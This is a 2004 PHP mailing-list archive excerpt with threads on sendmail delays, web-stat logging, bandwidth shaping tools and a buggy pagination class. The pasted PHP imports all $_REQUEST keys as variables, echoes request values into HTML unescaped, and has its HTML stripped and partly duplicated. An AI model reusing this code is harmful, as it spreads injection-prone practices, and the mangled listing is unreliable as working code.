transaction does a couple of things: 1. Sends an order confirmation to the store 2. Sends an order confirmation to the customer The whole process can take over 1 minute, which times out the browser. I've tracked it down the delay to sendmail verifying the remote email address. Since sendmail talks to the remote mail server in real-time, any network lag, or DNS lag, causes the order process to hang. In my case, it does it twice. I've looked at Pear Mail_Queue, and that looks interesting, but a bit overkill. I've also looked at going around the mail() function and opening an SMTP socket directly to sendmail (same delays... in fact when I open a session via command line, I can see the exact step in the SMTP conversion where the lag happens) Here's what I'd like to do (and this would be helpful for anyone sending out a modest volume of email)... 1. send the mail to sendmail 2. sendmail puts it into a queue 3. sendmail periodically checks this queue and sends the email. Essentially, I'd like to fork the slow lookup stuff to the background, returning control the browser as soon as possible. This has the added benefit of scaling to very large emails/hour since the browser never has to wait for sendmail (or an external server) before a visitor can move on. I'm pretty sure that this is intrinsic to the way sendmail works, but most of the documentation talks about the queue holding mail that's not deliverable. What I'd like to do is put to put a delay on the email before it's processed by sendmail. Any ideas? -corey DOMANI STUDIOS Corey Szopinski Technology Director corey at domanistudios.com 70 Washington St. Suite 710 Brooklyn, NY 11201 718.797.4470 x116 _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk From rolan at omnistep.com Thu Jun 3 15:07:53 2004 From: rolan at omnistep.com (Rolan Yang) Date: Thu, 03 Jun 2004 15:07:53 -0400 Subject: [nycphp-talk] PHP Solution for Website stats In-Reply-To: <13309-40190@sneakemail.com> References: <40BF5785.1070209@omnistep.com> <13309-40190@sneakemail.com> Message-ID: <40BF7709.9060907@omnistep.com> I was browsing the mod_log_sql manual and realized that you can specify in the configuration what to log and what not to log ( ie. LogSQLRequestIgnore .gif .jpg) That would really cut down on the amount of unnecessary data logged.. I might just give it a try. ~Rolan inforequest wrote: > So phpopentracker would suffer from the same factors on larger traffic > sites (since it writes to the database with every hit). > > Does anyone rsync the access log to another server running a php/mysql > traffic logging system ( php not perl) ? > > > > Rolan Yang rolan-at-omnistep.com |nyphp 04/2004| wrote: > >> Actually, it would be quite easy to import. You would only need a 5 >> line shell >> script which sliced and diced the existing logs. Then a mysql query >> to "load data infile into table blag_logs". >> >> For low bandwidth sites, I don't see a problem with mod_log_sql, >> however if you are >> serving lots of pages, you could quickly saturate your network or >> disk i/o bandwidth (depending >> on if your mysql is on the same machine or another). >> >> As an example, I'm hosting a pretty high traffic phpBB for someone >> right now. Sometimes >> the site is hit with like 30+ page requests/sec. PhpBB is quite a hog >> and when people are viewing >> a page full of posts that contain 100+smiley icons, etc (each one >> counting as a hit) you can >> easily run up like 3000 hits/sec. Each hit is an entry in the apache >> log... Now if you had mod_log_sql >> running, your server would have to manage 3000+ mysql inserts per >> sec.. that would place a serious >> load not only on your disk i/o but also cpu. What makes matters worse >> with phpBB, is (and I'm not >> completely sure about this) that the pages are set to "nocache" so >> everything is reloaded upon >> every page access. This keeps the load on the server consistently >> high throughout the day. >> >> ~Rolan >> >> Jeff Siegel wrote: >> >> >Thanks for pointing this out. I remember that article. >> >I'm looking for a "brain-dead" solution, i.e., one that can be >> >implemented in minutes. >> > >> >Jeff >> >> >> David Mintz wrote: >> >> > Jeremy Zawodny has some interesting ideas about using MySQL >> > for logging: http://www.linux-mag.com/2002-10/lamp_01.html >> > >> > >> > On Thu, 3 Jun 2004, Jeff Siegel wrote: >> > >> > >> >>The web stats provided by my client's ISP (shared hosting) leaves a >> lot >> >>to be desired (seems that some things are not being recorded in the >> >>stats log). Just wondering if there is a PHP/MySQL-based solution that >> >>will allow us to get some real stats. >> > >> > >> > >> > --- >> > David Mintz >> > http://davidmintz.org/ >> > >> > "Anybody else got a problem with Webistics?" -- Sopranos 24:17 >> > _______________________________________________ >> > talk mailing list >> > talk at lists.nyphp.org >> > http://lists.nyphp.org/mailman/listinfo/talk >> > >> _______________________________________________ >> talk mailing list >> talk at lists.nyphp.org >> http://lists.nyphp.org/mailman/listinfo/talk >> > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From dorgan at optonline.net Thu Jun 3 15:07:59 2004 From: dorgan at optonline.net (dorgan at optonline.net) Date: Thu, 03 Jun 2004 15:07:59 -0400 Subject: [nycphp-talk] Open Source Bandwidth Management Message-ID: <8bfeb8f3be.8f3be8bfeb@optonline.net> Does anyone know of any good open source bandwidth management solutions? From mikeh at dtev.com Thu Jun 3 15:14:07 2004 From: mikeh at dtev.com (mike hjorleifsson) Date: Thu, 3 Jun 2004 15:14:07 -0400 Subject: [nycphp-talk] Open Source Bandwidth Management In-Reply-To: <8bfeb8f3be.8f3be8bfeb@optonline.net> Message-ID: There is one built into linux called shaper http://packages.debian.org/stable/net/shaper -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of dorgan at optonline.net Sent: Thursday, June 03, 2004 3:08 PM To: NYPHP Talk Subject: [nycphp-talk] Open Source Bandwidth Management Does anyone know of any good open source bandwidth management solutions? _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk From jcrawford at codebowl.com Thu Jun 3 15:15:06 2004 From: jcrawford at codebowl.com (Joe Crawford Jr.) Date: Thu, 3 Jun 2004 15:15:06 -0400 Subject: [nycphp-talk] Problem with Pagination References: <40BF63C4.3040209@adnet-sys.com> Message-ID: <001c01c4499f$1662d4e0$e18a3118@codebowl> while i look this over could i get you to post the rest of the code? the view class? i would like to see how this is done. Joe Crawford Jr. ----- Original Message ----- From: "Phillip Powell" To: "NYPHP Talk" Sent: Thursday, June 03, 2004 1:45 PM Subject: [nycphp-talk] Problem with Pagination > I wrote a class method that will handle pagination regarding > medium-sized resultsets (estimating maximum number of rows at 500). > Everything works beautifully, except one annoying problem that involves > someone with a math degree or really really good with numbers: > > The "next link" displays the wrong number of "next" items every time! I > can't honestly, for the life of me, figure out the algorithm to get it > right. The pagination functionality works perfectly, except that one part. > > Here is the "Reader's Digest" version of my class: > > [PHP] > |class PaginationView extends View { > > var $result; // YOUR RESULTSET > > function PaginationView($result) { // CONSTRUCTOR > $this->result = $result; > } > > function &displayPage() { // STATIC HTML > STRING METHOD > global $section, $action, $album, $headerMenuArray, $willPaginate, $displayItemLimit; > > foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = $val; > > > $qs = "section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . urlencode($album) . '&willKeepPageSession=1'; // > FOR EASE OF WRITE > > if ((int)$page === 0) $page = 1; > $page = (int)$page; // CONVERT TO INTEGER > > if (@sizeof($this->result) > $displayItemLimit && $willPaginate) { > > > $html .= "
\n"; > > // PREVIOUS LINK > if ((int)$page !== 1) { > $pagePrev = $page - 1; > $html .= " Previous $displayItemLimit ${section}s in \"$album\" | "; > > } > > $numPages = (int)(@sizeof($this->result) / $displayItemLimit); > > // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE > for ($i = 1; $i <= $numPages; $i++) { > if ((int)$i === (int)$page) $html .= "$i | "; else $html .= "$i | "; > > } > > // LAST PAGE NUMBER LINK > if (@sizeof($this->result) % $displayItemLimit != 0) { > if ((int)$i === (int)$page) $html .= "$i  "; else $html .= "$i  "; > > } > > // NEXT LINK > $offset = (int)(@sizeof($this->result) - ($displayItemLimit * ($page - 1))); > > if ($offset > 0) { > $pageNext = $page + 1; > $html .= " | Next "; > > $html .= ($offset + (int)$displayItemLimit > @sizeof($this->result)) ? (int)($displayItemLimit - $offset) : $displayItemLimit; > > $html .= " ${section}s in \"$album\""; > } > > $html .= "\n
\n"; > } > return $html; > } > > } > > | > > -- > [/PHP] > Here is a sample output that results with a $displayItemLimit of > 20 items and I'm on page "1" and there are 45 items altogether: > > > > > > quote: > ---------------------------------------------------------------------- -- > 1 | 2 | 3 | Next -25 images in "Album 1" > ---------------------------------------------------------------------- -- > > > > > > The problem is the $offset variable I know in the // NEXT LINK code > block, but I'm stuck, I can't figure it out, furthermore, both of these > utterly fail in PHP 4.3.2 on my system: > > > > > > |PHP:| > ---------------------------------------------------------------------- -- > | > $pagePrev = $page--; > | > ---------------------------------------------------------------------- -- > > > |PHP:| > ---------------------------------------------------------------------- -- > | > $pageNext = $page++; > | > ---------------------------------------------------------------------- -- > > > > Both result in $pagePrev and $pageNext having null values even though > $page exists and is cast into an integer > > ----------------------- > > At this point I'm not sure what else to do since I'm close to implementing my Pagination class instantiation on my other display classes, but not until I get this one problem fixed or someone just guide me in the right direction as to the exactly working algorithm for at least the "next" links to display correctly. > > > > > *Update* > > I am basing my algorithm on the tutorial at > http://www.phpfreaks.com/tutorials/43/4.php > > Thanx > Phil > -------------------------------------------------------------------------- ------- > Phil Powell > Multimedia Programmer > BPX Technologies, Inc. > #: (703) 709-7218 x107 > Fax: (703) 709-7219 > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > From joel at tagword.com Thu Jun 3 16:37:15 2004 From: joel at tagword.com (Joel De Gan) Date: Thu, 03 Jun 2004 16:37:15 -0400 Subject: [nycphp-talk] Open Source Bandwidth Management In-Reply-To: <8bfeb8f3be.8f3be8bfeb@optonline.net> References: <8bfeb8f3be.8f3be8bfeb@optonline.net> Message-ID: <1086295035.5417.72.camel@bezel> They are not hard to write. I did tlimit.com though not opensource at this time, but I am considering it. -joeldg On Thu, 2004-06-03 at 15:07, dorgan at optonline.net wrote: > Does anyone know of any good open source bandwidth management solutions? > From corey at domanistudios.com Thu Jun 3 15:16:21 2004 From: corey at domanistudios.com (corey szopinski) Date: Thu, 03 Jun 2004 15:16:21 -0400 Subject: [nycphp-talk] sending email from PHP In-Reply-To: <009401c4499d$6542b460$8b01a8c0@DB> Message-ID: I?m not a sendmail expert, and I?d bet that something is screwy with either my sendmail configuration or with our local DNS setup. I also agree that my problem is outside of PHP. For example when I try to do manually what PHP does with the mail() function: sendmail -v corey at domanistudios.com wrote: > sending email from PHPHi Corey, > > Sounds like an interesting problem. I've toyed with various mail sending > scripts including phpmailer (http://phpmailer.sourceforge.net) and > pear_mail_mime with pretty good luck in multiple configurations. In the > configurations I've used, the script calls out to sendmail (in my case Exim, > which is a nice drop-in alternative to sendmail) and places the mail in the > que of the mail server. The script runs as fast as it can make a request to > the mail server. That said, I think the problem is outside php. If you're > experiencing problems communicating with sendmail, you might try clearing > out the existing que first. It looks like Michael's suggestion is much more > in depth than what I'm telling you though. I bet he's right on the money. > > I haven't dealt extensively with email address verification though. I've > toyed around with various ideas, but as far as I know, outside of making > requests to the MX of the domain directly, there's not an elegant way to > handle it. In doing so, you're actually writing a mail server. Quite a task. > As such, I've just had to deal with the replies to the sender's email from > the email recipient's MX telling me that the address doesn't exist, or that > the mailbox is full, or whatever. > > I'd be interested in hearing other people's solutions for email > verification. It's such an important thing to do. There's gotta be an easy > way. > > Good luck! > > Eric DOMANI STUDIOS Corey Szopinski Technology Director corey at domanistudios.com 70 Washington St. Suite 710 Brooklyn, NY 11201 718.797.4470 x116 -------------- next part -------------- An HTML attachment was scrubbed... URL: From andrew at digitalpulp.com Thu Jun 3 15:19:58 2004 From: andrew at digitalpulp.com (Andrew Yochum) Date: Thu, 3 Jun 2004 15:19:58 -0400 Subject: [nycphp-talk] Open Source Bandwidth Management In-Reply-To: <8bfeb8f3be.8f3be8bfeb@optonline.net> References: <8bfeb8f3be.8f3be8bfeb@optonline.net> Message-ID: <20040603191949.GA2588@thighmaster.digitalpulp.com> On Thu, Jun 03, 2004 at 03:07:59PM -0400, dorgan at optonline.net wrote: > Does anyone know of any good open source bandwidth management solutions? If you're just concerned about Apache, mod_throttle might do the trick. Andrew From phillip.powell at adnet-sys.com Thu Jun 3 15:29:00 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Thu, 03 Jun 2004 15:29:00 -0400 Subject: [nycphp-talk] Problem with Pagination In-Reply-To: <001c01c4499f$1662d4e0$e18a3118@codebowl> References: <40BF63C4.3040209@adnet-sys.com> <001c01c4499f$1662d4e0$e18a3118@codebowl> Message-ID: <40BF7BFC.6020200@adnet-sys.com> This is per Joe Crawford's request. Phil [PHP] // CLASS FOR IMPLEMENTATION FOR VIEW CLASSES class View { /** * Abstract class for views * @abstract */ function View() { // "CONSTRUCTOR" // PREVENT INSTANTIATION OF THIS OBJECT TO ENSURE "ABSTRACT" STATUS if (!is_subclass_of($this, 'View')) trigger_error('Class "' . get_class($this) . '" is not a subclass of Object', E_USER_ERROR); return null; } //------------------------------ --* GETTER/SETTER METHODS *-- ----------------------------------------- /** * @abstract * @param int id * @param mixed $imageLocationPath (optional) */ function getAssociationDisplay($id, $imageLocationPath = '') {} /** * @abstract * @param mixed $section * @param int id (optional) */ function getAssocSectionsArray($associatedSection, $id = '') {} /** * @param object $result * @return int total items in $result */ function &getCount($result) { return @sizeof($result); } //------------------------------ --* END OF GETTER/SETTER METHODS *-- ------------------------------- /** * @abstract * @param int id (optional) */ function assocSectionsDisplayHTML($id = '') {} /** * @abstract */ // DISPLAY HTML function displayHTML() {} /** * @abstract */ // DISPLAY PAGE LINKS function displayPage() {} /** * @abstract */ // DISPLAY TEXT function displayText() {} /** * @abstract */ // DISPLAY TREE function displayTree() {} /** * @abstract */ // DISPLAY XML function displayXML() {} // MORE TO COME... } /** * PaginationView will handle all displays regarding pagination along with limit calculations. Class is a subclass of client-scope * class View for displayPage() method inheritance * * @author Phil Powell * @version 1.0.0 * @package IMAGE_CATALOG * @see View */ class PaginationView extends View { /** * * Result set * * @access private * @param object $result */ var $result; /** * Constructor * * @access public */ function PaginationView($result) { // CONSTRUCTOR $this->result = $result; } //--------------------------------------- --* GETTER/SETTER METHODS *-- ----------------------------------------------------------------- /** * Retrieve "cached" results from $_SESSION variable * * @access protected * @return object $result unserialized collection array */ function &getCachedResult() { // STATIC OBJECT METHOD global $willPaginate, $displayItemLimit; foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = $val; if ($willPaginate && (int)$displayItemLimit > 0 && $willKeepPageSession) return unserialize($_SESSION['result']); } //--------------------------------------- --* END OF GETTER/SETTER METHODS *-- ----------------------------------------------------------------- /** * Do a "faux" caching by placing the entire resultset into a $_SESSION variable. Serialize as this might be an array of objects * * @access protected */ function cacheResult() { // VOID METHOD global $willPaginate, $displayItemLimit; foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = $val; if ($willPaginate && (int)$displayItemLimit > 0 && !$willKeepPageSession && !$page) { unset($_SESSION['result']); $_SESSION['result'] = serialize($this->result); flush(); ob_flush(); clearstatcache(); } } /** * Display pagination links * * @access public * @return mixed HTML */ function &displayPage() { // STATIC HTML STRING METHOD global $section, $action, $album, $headerMenuArray, $willPaginate, $displayItemLimit; foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = $val; $qs = "section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . urlencode($album) . '&willKeepPageSession=1'; // FOR EASE OF WRITE if ((int)$page === 0) $page = 1; $page = (int)$page; // CONVERT TO INTEGER if (@sizeof($this->result) > $displayItemLimit && $willPaginate) { $html .= "
\n"; // PREVIOUS LINK if ((int)$page !== 1) { $pagePrev = $page - 1; $html .= " Previous $displayItemLimit ${section}s in \"$album\" | "; } $numPages = (int)(@sizeof($this->result) / $displayItemLimit); // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE for ($i = 1; $i <= $numPages; $i++) { if ((int)$i === (int)$page) $html .= "$i "; else $html .= "$i "; if ($i <= $numPages && @sizeof($this->result) % (int)$displayItemLimit !== $numPages) $html .= '| '; } // LAST PAGE NUMBER LINK if (@sizeof($this->result) % $displayItemLimit != 0) { if ((int)$i === (int)$page) $html .= "$i  "; else $html .= "$i  "; } // NEXT LINK $pageItemCount = (int)(@sizeof($this->result) - ($page * $displayItemLimit)); if ($page <= $numPages && (int)$pageItemCount > 0) { $pageNext = $page + 1; $html .= "| Next "; $html .= ($pageItemCount < $displayItemLimit) ? $pageItemCount : $displayItemLimit; $html .= " ${section}s in \"$album\""; } $html .= "\n
\n"; } return $html; } /** * Perform "cache flush" by destroying the session variable containing the $result * * @access protected */ function &flushResult() { // STATIC VOID METHOD if ($_SESSION['result']) unset($_SESSION['result']); flush(); ob_flush(); clearstatcache(); } /** * Will perform specific array_slice() function on parameter $result (IMPORTANT! DO NOT USE $this->result WILL AFFECT PAGINATION!) * * @access protected * @param object $result (reference) */ function &limitResult(&$result) { // STATIC VOID METHOD global $willPaginate, $displayItemLimit; foreach ($_GET as $key => $val) if (!isset(${$key})) ${$key} = $val; if ($willPaginate && (int)$displayItemLimit > 0 && is_array($result) && @sizeof($result) >= $displayItemLimit) { // CALCULATE $offset AND $limit if ((int)$page === 0) $page = 1; $page--; $offset = (int)$page * (int)$displayItemLimit; $length = ($offset + (int)$displayItemLimit > @sizeof($result)) ? $offset : (int)$displayItemLimit; $result = array_slice($result, $offset, $length); } } } [/PHP] This is per Joe Crawford's request/** * PaginationView will handle all displays regarding pagination along with limit calculations. Class is a subclass of client-scope * class View for displayPage() method inheritance * * @author Phil Powell * @version 1.0.0 * @package IMAGE_CATALOG * @see View */ class PaginationView extends View { /** * * Result set * * @access private * @param object $result */ var $result; /** * Constructor * * @access public */ function PaginationView($result) { // CONSTRUCTOR $this->result = $result; } //--------------------------------------- --* GETTER/SETTER METHODS *-- ----------------------------------------------------------------- /** * Retrieve "cached" results from $_SESSION variable * * @access protected * @return object $result unserialized collection array */ function &getCachedResult() { // STATIC OBJECT METHOD global $willPaginate, $displayItemLimit; foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = $val; if ($willPaginate && (int)$displayItemLimit > 0 && $willKeepPageSession) return unserialize($_SESSION['result']); } //--------------------------------------- --* END OF GETTER/SETTER METHODS *-- ----------------------------------------------------------------- /** * Do a "faux" caching by placing the entire resultset into a $_SESSION variable. Serialize as this might be an array of objects * * @access protected */ function cacheResult() { // VOID METHOD global $willPaginate, $displayItemLimit; foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = $val; if ($willPaginate && (int)$displayItemLimit > 0 && !$willKeepPageSession && !$page) { unset($_SESSION['result']); $_SESSION['result'] = serialize($this->result); flush(); ob_flush(); clearstatcache(); } } /** * Display pagination links * * @access public * @return mixed HTML */ function &displayPage() { // STATIC HTML STRING METHOD global $section, $action, $album, $headerMenuArray, $willPaginate, $displayItemLimit; foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} = $val; $qs = "section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . urlencode($album) . '&willKeepPageSession=1'; // FOR EASE OF WRITE if ((int)$page === 0) $page = 1; $page = (int)$page; // CONVERT TO INTEGER if (@sizeof($this->result) > $displayItemLimit && $willPaginate) { $html .= "
\n"; // PREVIOUS LINK if ((int)$page !== 1) { $pagePrev = $page - 1; $html .= " Previous $displayItemLimit ${section}s in \"$album\" | "; } $numPages = (int)(@sizeof($this->result) / $displayItemLimit); // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE for ($i = 1; $i <= $numPages; $i++) { print_r("i = $i
"); if ((int)$i === (int)$page) $html .= "$i "; else $html .= "$i "; if ($i <= $numPages && @sizeof($this->result) % (int)$displayItemLimit !== $numPages) $html .= '| '; } // LAST PAGE NUMBER LINK if (@sizeof($this->result) % $displayItemLimit != 0) { if ((int)$i === (int)$page) $html .= "$i  "; else $html .= "$i  "; } // NEXT LINK $pageItemCount = (int)(@sizeof($this->result) - ($page * $displayItemLimit)); if ($page <= $numPages && (int)$pageItemCount > 0) { $pageNext = $page + 1; $html .= "| Next "; $html .= ($pageItemCount < $displayItemLimit) ? $pageItemCount : $displayItemLimit; $html .= " ${section}s in \"$album\""; } $html .= "\n
\n"; } return $html; } /** * Perform "cache flush" by destroying the session variable containing the $result * * @access protected */ function &flushResult() { // STATIC VOID METHOD if ($_SESSION['result']) unset($_SESSION['result']); flush(); ob_flush(); clearstatcache(); } /** * Will perform specific array_slice() function on parameter $result (IMPORTANT! DO NOT USE $this->result WILL AFFECT PAGINATION!) * * @access protected * @param object $result (reference) */ function &limitResult(&$result) { // STATIC VOID METHOD global $willPaginate, $displayItemLimit; foreach ($_GET as $key => $val) if (!isset(${$key})) ${$key} = $val; if ($willPaginate && (int)$displayItemLimit > 0 && is_array($result) && @sizeof($result) >= $displayItemLimit) { // CALCULATE $offset AND $limit if ((int)$page === 0) $page = 1; $page--; $offset = (int)$page * (int)$displayItemLimit; $length = ($offset + (int)$displayItemLimit > @sizeof($result)) ? $offset : (int)$displayItemLimit; $result = array_slice($result, $offset, $length); } } } [/PHP] From dorgan at optonline.net Thu Jun 3 15:25:24 2004 From: dorgan at optonline.net (dorgan at optonline.net) Date: Thu, 03 Jun 2004 15:25:24 -0400 Subject: [nycphp-talk] Open Source Bandwidth Management Message-ID: <864d689f2d.89f2d864d6@optonline.net> no i work for a hosting company and we are looking for an open source bandwidth management solution for our networks to limit all aspects of traffic ----- Original Message ----- From: Andrew Yochum Date: Thursday, June 3, 2004 3:19 pm Subject: Re: [nycphp-talk] Open Source Bandwidth Management > On Thu, Jun 03, 2004 at 03:07:59PM -0400, dorgan at optonline.net wrote: > > Does anyone know of any good open source bandwidth management > solutions? > If you're just concerned about Apache, mod_throttle might do the > trick. > Andrew > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From jcrawford at codebowl.com Thu Jun 3 15:27:50 2004 From: jcrawford at codebowl.com (Joe Crawford Jr.) Date: Thu, 3 Jun 2004 15:27:50 -0400 Subject: [nycphp-talk] Problem with Pagination References: <40BF63C4.3040209@adnet-sys.com><001c01c4499f$1662d4e0$e18a3118@codebowl> <40BF7BFC.6020200@adnet-sys.com> Message-ID: <000701c449a0$de3affa0$e18a3118@codebowl> Phillip, what is all this stuff? is it auto inserted by an editor? /** * @abstract * @param mixed $section * @param int id (optional) */ ----- Original Message ----- From: "Phillip Powell" To: "NYPHP Talk" Sent: Thursday, June 03, 2004 3:29 PM Subject: Re: [nycphp-talk] Problem with Pagination > This is per Joe Crawford's request. > > Phil > > [PHP] > // CLASS FOR IMPLEMENTATION FOR VIEW CLASSES > class View { > > /** > * Abstract class for views > * @abstract > */ > function View() { > // "CONSTRUCTOR" > // PREVENT INSTANTIATION OF THIS OBJECT TO ENSURE "ABSTRACT" STATUS > if (!is_subclass_of($this, 'View')) trigger_error('Class "' . > get_class($this) . '" is not a subclass of Object', E_USER_ERROR); > return null; > } > > //------------------------------ --* GETTER/SETTER METHODS *-- > ----------------------------------------- > > /** > * @abstract > * @param int id > * @param mixed $imageLocationPath (optional) > */ > function getAssociationDisplay($id, $imageLocationPath = '') {} > > /** > * @abstract > * @param mixed $section > * @param int id (optional) > */ > function getAssocSectionsArray($associatedSection, $id = '') {} > > /** > * @param object $result > * @return int total items in $result > */ > function &getCount($result) { > return @sizeof($result); > } > //------------------------------ --* END OF GETTER/SETTER METHODS > *-- ------------------------------- > > /** > * @abstract > * @param int id (optional) > */ > function assocSectionsDisplayHTML($id = '') {} > > /** > * @abstract > */ > // DISPLAY HTML > function displayHTML() {} > > /** > * @abstract > */ > // DISPLAY PAGE LINKS > function displayPage() {} > > /** > * @abstract > */ > // DISPLAY TEXT > function displayText() {} > > /** > * @abstract > */ > // DISPLAY TREE > function displayTree() {} > > /** > * @abstract > */ > // DISPLAY XML > function displayXML() {} > > // MORE TO COME... > > } > > /** > * PaginationView will handle all displays regarding pagination along > with limit calculations. Class is a subclass of client-scope > * class View for displayPage() method inheritance > * > * @author Phil Powell > * @version 1.0.0 > * @package IMAGE_CATALOG > * @see View > */ > > class PaginationView extends View { > > /** > * > * Result set > * > * @access private > * @param object $result > */ > var $result; > > /** > * Constructor > * > * @access public > */ > function PaginationView($result) { // CONSTRUCTOR > $this->result = $result; > } > > //--------------------------------------- --* GETTER/SETTER METHODS > *-- ----------------------------------------------------------------- > > /** > * Retrieve "cached" results from $_SESSION variable > * > * @access protected > * @return object $result unserialized collection array > */ > function &getCachedResult() { // STATIC > OBJECT METHOD > global $willPaginate, $displayItemLimit; > foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} > = $val; > if ($willPaginate && (int)$displayItemLimit > 0 && > $willKeepPageSession) return unserialize($_SESSION['result']); > } > //--------------------------------------- --* END OF GETTER/SETTER > METHODS *-- > ----------------------------------------------------------------- > > /** > * Do a "faux" caching by placing the entire resultset into a > $_SESSION variable. Serialize as this might be an array of objects > * > * @access protected > */ > function cacheResult() { // VOID METHOD > global $willPaginate, $displayItemLimit; > foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} > = $val; > if ($willPaginate && (int)$displayItemLimit > 0 && > !$willKeepPageSession && !$page) { > unset($_SESSION['result']); > $_SESSION['result'] = serialize($this->result); > flush(); > ob_flush(); > clearstatcache(); > } > } > > /** > * Display pagination links > * > * @access public > * @return mixed HTML > */ > function &displayPage() { // STATIC HTML > STRING METHOD > global $section, $action, $album, $headerMenuArray, > $willPaginate, $displayItemLimit; > foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} > = $val; > > $qs = > "section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . > urlencode($album) . '&willKeepPageSession=1'; // FOR EASE OF WRITE > > if ((int)$page === 0) $page = 1; > $page = (int)$page; // CONVERT TO INTEGER > > if (@sizeof($this->result) > $displayItemLimit && > $willPaginate) { > > $html .= "
\n"; > > // PREVIOUS LINK > if ((int)$page !== 1) { > $pagePrev = $page - 1; > $html .= " Previous > $displayItemLimit ${section}s in \"$album\" | "; > } > > $numPages = (int)(@sizeof($this->result) / $displayItemLimit); > > // ALL PAGES (PAGE NUMBER) LINK(S) EXCEPT FOR LAST PAGE > for ($i = 1; $i <= $numPages; $i++) { > if ((int)$i === (int)$page) $html .= "$i "; else $html .= > "$i "; > if ($i <= $numPages && @sizeof($this->result) % > (int)$displayItemLimit !== $numPages) $html .= '| '; > } > > // LAST PAGE NUMBER LINK > if (@sizeof($this->result) % $displayItemLimit != 0) { > if ((int)$i === (int)$page) $html .= "$i  "; else $html > .= "$i  "; > } > > // NEXT LINK > $pageItemCount = (int)(@sizeof($this->result) - ($page * > $displayItemLimit)); > if ($page <= $numPages && (int)$pageItemCount > 0) { > $pageNext = $page + 1; > $html .= "|  href=\"index.php?$qs&page=$pageNext\">Next "; > $html .= ($pageItemCount < $displayItemLimit) ? $pageItemCount > : $displayItemLimit; > $html .= " ${section}s in \"$album\""; > } > > $html .= "\n
\n"; > } > return $html; > } > > /** > * Perform "cache flush" by destroying the session variable > containing the $result > * > * @access protected > */ > function &flushResult() { // STATIC VOID METHOD > if ($_SESSION['result']) unset($_SESSION['result']); > flush(); > ob_flush(); > clearstatcache(); > } > > /** > * Will perform specific array_slice() function on parameter $result > (IMPORTANT! DO NOT USE $this->result WILL AFFECT PAGINATION!) > * > * @access protected > * @param object $result (reference) > */ > function &limitResult(&$result) { // STATIC VOID METHOD > global $willPaginate, $displayItemLimit; > foreach ($_GET as $key => $val) if (!isset(${$key})) ${$key} = $val; > if ($willPaginate && (int)$displayItemLimit > 0 && > is_array($result) && @sizeof($result) >= $displayItemLimit) { > // CALCULATE $offset AND $limit > if ((int)$page === 0) $page = 1; > $page--; > $offset = (int)$page * (int)$displayItemLimit; > $length = ($offset + (int)$displayItemLimit > @sizeof($result)) > ? $offset : (int)$displayItemLimit; > $result = array_slice($result, $offset, $length); > } > } > > } > [/PHP] > > This is per Joe Crawford's request/** > * PaginationView will handle all displays regarding pagination along > with limit calculations. Class is a subclass of client-scope > * class View for displayPage() method inheritance > * > * @author Phil Powell > * @version 1.0.0 > * @package IMAGE_CATALOG > * @see View > */ > > class PaginationView extends View { > > /** > * > * Result set > * > * @access private > * @param object $result > */ > var $result; > > /** > * Constructor > * > * @access public > */ > function PaginationView($result) { // CONSTRUCTOR > $this->result = $result; > } > > //--------------------------------------- --* GETTER/SETTER METHODS > *-- ----------------------------------------------------------------- > > /** > * Retrieve "cached" results from $_SESSION variable > * > * @access protected > * @return object $result unserialized collection array > */ > function &getCachedResult() { // STATIC > OBJECT METHOD > global $willPaginate, $displayItemLimit; > foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} > = $val; > if ($willPaginate && (int)$displayItemLimit > 0 && > $willKeepPageSession) return unserialize($_SESSION['result']); > } > //--------------------------------------- --* END OF GETTER/SETTER > METHODS *-- > ----------------------------------------------------------------- > > /** > * Do a "faux" caching by placing the entire resultset into a > $_SESSION variable. Serialize as this might be an array of objects > * > * @access protected > */ > function cacheResult() { // VOID METHOD > global $willPaginate, $displayItemLimit; > foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} > = $val; > if ($willPaginate && (int)$displayItemLimit > 0 && > !$willKeepPageSession && !$page) { > unset($_SESSION['result']); > $_SESSION['result'] = serialize($this->result); > flush(); > ob_flush(); > clearstatcache(); > } > } > > /** > * Display pagination links > * > * @access public > * @return mixed HTML > */ > function &displayPage() { // STATIC HTML > STRING METHOD > global $section, $action, $album, $headerMenuArray, > $willPaginate, $displayItemLimit; > foreach ($_REQUEST as $key => $val) if (!isset(${$key})) ${$key} > = $val; > > $qs = > "section=$section&action=$action&sort=$sort&chooseAlbum=1&album=" . > urlencode($album) . '&willKeepPageSession=1'; // FOR EASE OF WRITE > > if ((int)$page === 0) $page = 1; > $page = (int)$page; // CONVERT TO INTEGER > > if (@sizeof($this->result) > $displayItemLimit && > $willPaginate) { > > $html .= "
